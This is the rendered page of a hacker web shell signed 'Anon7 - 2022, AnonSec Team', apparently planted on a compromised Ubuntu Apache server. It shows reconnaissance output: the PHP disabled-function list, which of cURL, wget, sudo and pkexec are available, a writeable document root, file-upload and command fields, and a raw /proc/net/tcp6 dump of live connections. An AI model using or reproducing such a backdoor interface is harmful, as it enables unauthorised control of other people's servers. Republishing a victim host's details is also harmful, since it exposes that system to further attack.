NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.57
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/185/task/185/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/185/task/185/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 101983488 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 54035 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 101983492 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:E5EE 06 00000000:00000000 03:0000175A 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00001CF2074A:CB84 06 00000000:00000000 03:000010F3 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:E279 01 00000000:00000000 02:000AFACC 00000000    33        0 116836511 3 0000000000000000 22 4 1 10 -1
   6: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00001CF2074A:A55E 01 00000000:00000000 02:000AF634 00000000    33        0 116835569 2 0000000000000000 22 4 31 10 -1
   7: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000DFF3074A:D184 06 00000000:00000000 03:000014C7 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:8B28 06 00000000:00000000 03:00000ED4 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:D616 06 00000000:00000000 03:0000078F 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:83DD 06 00000000:00000000 03:000003F8 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000DFF3074A:C812 06 00000000:00000000 03:0000000D 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:F855 06 00000000:00000000 03:0000005E 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000DFF3074A:A4F2 01 000009B1:00000000 01:00000006 00000000    33        0 116835655 4 0000000000000000 24 4 31 10 -1
  14: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:C404 06 00000000:00000000 03:00000B3D 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:37AB 06 00000000:00000000 03:0000126C 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team